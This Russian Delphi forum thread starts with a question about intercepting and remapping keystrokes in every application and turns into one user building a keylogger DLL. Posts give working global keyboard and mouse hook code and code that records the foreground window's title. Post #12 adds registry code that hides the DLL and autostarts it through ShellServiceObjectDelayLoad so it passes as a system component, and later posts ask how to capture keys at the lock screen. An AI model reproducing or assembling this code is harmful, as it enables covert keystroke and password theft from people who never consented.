|
|
Регистрация | << Правила форума >> | FAQ | Пользователи | Календарь | Поиск | Сообщения за сегодня | Все разделы прочитаны |
|
Опции темы | Поиск в этой теме | Опции просмотра |
#1
|
|||
|
|||
Перехват событий клавиатуры
Как правильно перехватывать нажатия на клаву во ВСЕХ приложениях?
Как перехватить нажатие, изменить значение на нужное и послать дальше винде (переназначить)? |
#2
|
||||
|
||||
Цитата:
Несколько исходников в придачу: - Keyboard hook - Key Logger - Key Statistic - ScanKey |
#3
|
|||
|
|||
нашел как без dll получить цифровой код. А кто подскажет как конвертировать его в название кнопки?
|
#4
|
||||
|
||||
Цитата:
THE CRACKER IS OUT THERE |
#5
|
|||
|
|||
Запросто:
Код:
var //переменные в Юните hHook: THandle; VKey:integer; function LowLevelKeyboardProc(nCode: Integer; WParam: WPARAM; LParam: LPARAM): LRESULT stdcall; type PKbdDllHookStrukt = ^TKbdDllHookStrukt; _KBDLLHOOKSTRUCT = record vkCode: DWORD; scanCode: DWORD; flags: DWORD; time: DWORD; dwExtraInfo: PDWORD; end; TKbdDllHookStrukt = _KBDLLHOOKSTRUCT; const RPT_WPARAM_DATA = '%s'; RPT_LPARAM_DATA = '%d'; var StrResult: String; begin StrResult := ''; if nCode = HC_ACTION then Result := CallNextHookEx(hHook, nCode, WParam, LParam); case WParam of WM_KEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']); WM_KEYUP: StrResult := Format(RPT_WPARAM_DATA, ['']); WM_SYSKEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']); WM_SYSKEYUP: StrResult := Format(RPT_WPARAM_DATA, ['']); end; StrResult := Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]); VKey:=strtoint(strresult); //Получаем VKey нажатой клавиши end; procedure InstallHook; const WH_KEYBOARD_LL = 13; begin hHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0); if hHook = 0 then RaiseLastOSError; end; procedure RemoveHook; begin if not UnhookWindowsHookEx(hHook) then RaiseLastOSError; end; Собственно как теперь мне нреобразовать цифровой код в название нажатой клавиши? |
#6
|
||||
|
||||
Chr(VKey). Должно помочь.
Функция возвращает сам символ. |
#7
|
|||
|
|||
Мужики выручайте ..)) (dll-keyspy)
Короче проблема вот в чем ... Я пишу кейлоггер(dll) мне нужно получить строку с именем активного окна ...Api функции типа getactivewnd пытался ... не получилось ... так подскажите как ... может криво делал..
Заранее невероятно благодарен...))) |
#8
|
|||
|
|||
ну вот смотри как я решил этот вопрос:
Код:
var CWND,LastWnd:HWND; SzKeyName, WindowName: array [0..127] of char {...} CWnd:=GetForegroundWindow; GetWindowText(CWnd, SzKeyName, SizeOf(SzKeyName)); клавиатура Код:
var kHook: THandle; iVKey:integer; sVKey:string; procedure KeyAction; begin // do sth end; function LowLevelKeyboardProc(nCode: Integer; WParam: WPARAM; LParam: LPARAM): LRESULT stdcall; type PKbdDllHookStrukt = ^TKbdDllHookStrukt; _KBDLLHOOKSTRUCT = record vkCode: DWORD; scanCode: DWORD; flags: DWORD; time: DWORD; dwExtraInfo: PDWORD; end; TKbdDllHookStrukt = _KBDLLHOOKSTRUCT; const RPT_WPARAM_DATA = '%s'; RPT_LPARAM_DATA = '%d'; var StrResult: String; begin StrResult := ''; if nCode = HC_ACTION then Result := CallNextHookEx(kHook, nCode, WParam, LParam); case WParam of WM_KEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']); WM_SYSKEYDOWN: StrResult := Format(RPT_WPARAM_DATA, ['']); end; StrResult := Format(RPT_LPARAM_DATA, [PKbdDllHookStrukt(LParam)^.vkCode]); if (Wparam=WM_KEYUP) or (Wparam=WM_SYSKEYUP) then strresult:=''; sVKey:=strresult; if strresult<>'' then iVKey:=strtoint(strresult) //Получаем iVKey нажатой клавиши else iVKey:=0; KeyAction; end; procedure InstallKeyBoardHook; const WH_KEYBOARD_LL = 13; begin kHook := SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0); if kHook = 0 then RaiseLastOSError; end; procedure RemoveKeyBoardHook; begin if not UnhookWindowsHookEx(kHook) then RaiseLastOSError; end; мышь Код:
const WH_MOUSE_LL = 14; tagMSLLHOOKSTRUCT = packed record pt : TPoint; mouseData : DWord; flags : DWord; time : DWord; dwExtraInfo : PDWord; end; tMSLLHOOKSTRUCT = tagMSLLHOOKSTRUCT; PMSLLHOOKSTRUCT = ^TMSLLHOOKSTRUCT; var mHook:HHook; Mpt:TPoint;; {...} function LowLevelMouseProc(nCode:integer;wP: WPARAM ; lP:LPARAM):LRESULT; stdcall; var MS:PMSLLHOOKSTRUCT; begin if nCode<0 then begin Result:=CallNextHookEx(mHook,nCode,wP,lP); exit; end; if wP = WM_MOUSEMOVE then //когда мышь побежала-побежала... begin MS:=PMSLLHOOKSTRUCT(lP); mPt.x:=MS^.pt.X; //получаем Х-координату мыши mPt.y:=MS^.pt.Y; //получаем У-координату мыши end; Case wP of WM_LButtonDown: begin //когда нажали левую кнопку мыши // end; WM_LButtonUp: begin //отпустили // end; WM_RButtonDown: begin //когда нажали правую кнопку мыши // end; WM_RButtonUp: begin //отпустили // end; WM_MButtonDown: begin //среднюю нажали // end; WM_MButtonUp: begin //отпустили // end; WM_MouseWheel: begin //манипуляции и колесиком // end else begin //когда не WM_MOUSEWHEEL // end; end; Result:=CallNextHookEx(mHook,nCode,wP,lP); end; procedure InstallMouseHook; //процедура инициализации хука begin mHook:=SetWindowsHookEx(WH_MOUSE_LL,@LowLevelMouseProc, HInstance, 0); end; procedure RemoveMouseHook; //деинициализация хука begin UnhookWindowsHookEx(mHook); end; |
#9
|
|||
|
|||
спасибо...CODeRUS....
буду пробовать ... а вот по поводу ... библиотеки , так я че ее использую - мне нужно невидимость в системе ... куда уж лучше .. темболее будет маскироватся как сервис виндовоза...)) - И еще одно ... Хотел узнать ... Как перехваченые коды клавиш перевести в символы с УЧЕТОМ РЕГИСТРА? С уважением RufF3D... |
#10
|
|||
|
|||
И еще один вопрос ...
Как можно отследить события клавиатуры во время блокировки logon (Win+L). Через API функции возможно? Жду ответа какк соловей лета...))))) )))Зарание спасибо... |
#11
|
|||
|
|||
кинь тогда тот кусок где скрытие происходит, интересно посмотреть
а про блокировку пока не скажу-проверять надо |
#12
|
|||
|
|||
скрытие ... я просто регитрирую dll в автозагрузку сервисов (не в раздел RUN) там где регятся сервисы / ну шота типа этого ....:
Reg:TRegistry; Temp:TGUID; S:String; t:textfile; begin CreateGUID(Temp); s := GUIDToString(Temp); Reg := TRegistry.Create; reg.rootkey:=HKEY_CLASSES_ROOT; if reg.openkey ('CLSID\'+s+'\InProcServer32', true) then // хёыш ёючфрыш шфхэЄшЇшърЄюЁ ъырёёр begin reg.writestring('',windir+'spy.dll'); //±єёЄ№ ъ сшсышюЄхъх reg.closekey; reg.rootkey:=HKEY_LOCAL_MACHINE; reg.openkey('Software\Microsoft\Windows\CurrentVer sion\ShellServiceObjectDelayLoad', true); reg.writestring('SpyDllLoad', s); reg.closekey; end; Reg.Free; end; |
#13
|
|||
|
|||
а оно потом в процессах не светится что ли?
надо попробовать будет...... |
#14
|
|||
|
|||
вообще то ... библиотеки в процессах не видны ...(во всяком случае для ламеров), а запускается она как системная dll...
...так че там с блокировкой ... как это обойти... (ато hook не ловит) |
#15
|
|||
|
|||
так мне поможет кто-нить с блокировкой...?
=- люди ... ну где же вы...? - или эт слижком сложно...? жду ответа ...))) |